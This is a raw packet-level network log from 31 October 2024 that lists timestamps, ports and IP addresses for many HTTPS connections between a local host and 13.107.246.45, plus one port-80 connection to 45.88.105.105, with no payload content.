Oct 31, 2024 09:07:37.519857883 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.520477057 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.520493031 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.541446924 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.541500092 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.541565895 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.541579008 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.541652918 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.541744947 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.541820049 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.541830063 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.541836977 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.541841984 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.544559002 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.544581890 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.544672966 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.544816971 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.544827938 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.640822887 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.640858889 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.640902042 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.640913963 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.640963078 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.641227007 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.641251087 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.641284943 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.641294003 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.644783020 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.644814014 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.644887924 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.645085096 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.645100117 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.150971889 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:38.234713078 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.235097885 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.235119104 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.235568047 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.235574961 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.276655912 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.277044058 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.277067900 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.277463913 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.277470112 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.293344021 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.293674946 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.293690920 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.294061899 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.294068098 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.361417055 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.361474037 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.361519098 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.361530066 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.361562967 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.361836910 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.361854076 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.361865997 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.361872911 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.364259958 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.364273071 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.364336967 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.364506960 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.364518881 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.389333963 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.389717102 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.389736891 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.390141010 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.390146017 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.405606031 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.405677080 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.405783892 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.405843973 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.405893087 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.405905008 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.405915022 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.405920982 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.407797098 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.407824039 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.407891989 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.408013105 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.408023119 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.425259113 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.425350904 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.425403118 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.425534010 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.425534010 CET	49907	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.425539017 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.425544977 CET	443	49907	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.427462101 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.427474976 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.427531958 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.427640915 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.427658081 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.483465910 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.486298084 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.486310959 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.486915112 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.486922979 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.519004107 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.519056082 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.519138098 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.519150972 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.519217968 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.519300938 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.519300938 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.519325018 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.519337893 CET	49908	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.519344091 CET	443	49908	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.521136999 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.521169901 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.521996975 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.522108078 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.522125959 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.614012957 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.614195108 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.614264011 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.614408016 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.614423037 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.614433050 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.614438057 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.618189096 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.618216991 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:38.618278027 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.618468046 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:38.618482113 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.098403931 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.098927021 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.098942041 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.099384069 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.099387884 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.158549070 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.159051895 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.159070015 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.159698963 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.159704924 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.168853998 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.169126034 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.169145107 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.169451952 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.169457912 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.228687048 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.228712082 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.228754044 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.228773117 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.228811026 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.228996038 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.229013920 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.229024887 CET	49909	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.229029894 CET	443	49909	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.231515884 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.231558084 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.231633902 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.231753111 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.231770039 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.270327091 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.270716906 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.270728111 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.271157026 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.271162033 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.296799898 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.297094107 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.297137976 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.297276974 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.297276974 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.297276974 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.297276974 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300029039 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300084114 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.300149918 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300164938 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.300292015 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300307989 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.300337076 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.300394058 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300424099 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300434113 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.300442934 CET	49911	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.300448895 CET	443	49911	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.302403927 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.302445889 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.302628994 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.302628994 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.302660942 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.368691921 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.371963978 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.371994019 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.372390985 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.372395992 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.401757956 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.401829958 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.401897907 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.402189016 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.402206898 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.402226925 CET	49912	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.402234077 CET	443	49912	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.404567003 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.404609919 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.404691935 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.404807091 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.404820919 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.500884056 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.501030922 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.501132011 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.501303911 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.501317024 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.501327038 CET	49913	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.501332998 CET	443	49913	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.504339933 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.504379034 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.504435062 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.504573107 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.504585981 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.517832041 CET	49910	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.517847061 CET	443	49910	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.960740089 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.961205006 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.961232901 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:39.961662054 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:39.961668968 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.034950972 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.036309004 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.036318064 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.036348104 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.036773920 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.036780119 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.037024975 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.037050009 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.037389040 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.037394047 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.089639902 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.089685917 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.089747906 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.089870930 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.089870930 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.090071917 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.090095997 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.090110064 CET	49914	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.090118885 CET	443	49914	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.093055010 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.093106031 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.093178988 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.093328953 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.093344927 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.120563030 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.121109962 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.121119976 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.121510029 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.121515036 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.167563915 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.167651892 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.167795897 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.167829990 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.167829037 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.167881012 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.167880058 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.167922974 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.168000937 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.168023109 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.168026924 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.168034077 CET	49915	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.168040037 CET	443	49915	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.168041945 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.168071985 CET	49916	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.168076992 CET	443	49916	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.171052933 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.171078920 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.171163082 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.171186924 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.171216965 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.171272993 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.171303988 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.171319008 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.171446085 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.171461105 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.255408049 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.255489111 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.255645990 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.255719900 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.255738020 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.255747080 CET	49917	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.255753040 CET	443	49917	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.258326054 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.258357048 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.258435965 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.258572102 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.258584976 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.290529013 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.290968895 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.290991068 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.291435957 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.291441917 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.640506983 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.640578032 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.640628099 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.640661001 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.640697956 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.640738964 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.640870094 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.640888929 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.640901089 CET	49918	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.640907049 CET	443	49918	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.643534899 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.643569946 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.643640995 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.643774033 CET	49923	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.643786907 CET	443	49923	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.821079016 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.821603060 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.821624041 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.822032928 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.822036982 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.905858040 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.906151056 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.906510115 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.906538963 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.906689882 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.906697035 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.906991005 CET	49921	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.906996965 CET	443	49921	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.907114029 CET	49920	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.907118082 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.952467918 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.952533960 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.952581882 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.952718973 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.952733994 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.952743053 CET	49919	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.952749014 CET	443	49919	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.955614090 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.955645084 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.955712080 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.955848932 CET	49924	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.955859900 CET	443	49924	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.987744093 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.988251925 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.988265991 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:40.989135981 CET	49922	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:40.989140034 CET	443	49922	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.036864996 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.037039995 CET	443	49920	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:41.037142992 CET	49920	443	192.168.2.6	13.107.246.45
